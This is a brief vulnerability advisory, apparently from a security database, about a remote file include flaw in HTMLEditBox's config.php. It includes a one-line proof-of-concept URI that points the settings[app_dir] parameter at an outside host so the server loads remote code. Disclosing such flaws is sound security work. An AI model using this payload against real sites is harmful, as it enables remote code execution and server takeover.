• info
• discussion
• exploit
• solution
• references

HTMLEditBox Config.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

A proof-of-concept URI is available:
http://www.example.com/_editor.php?settings[app_dir]=http://shell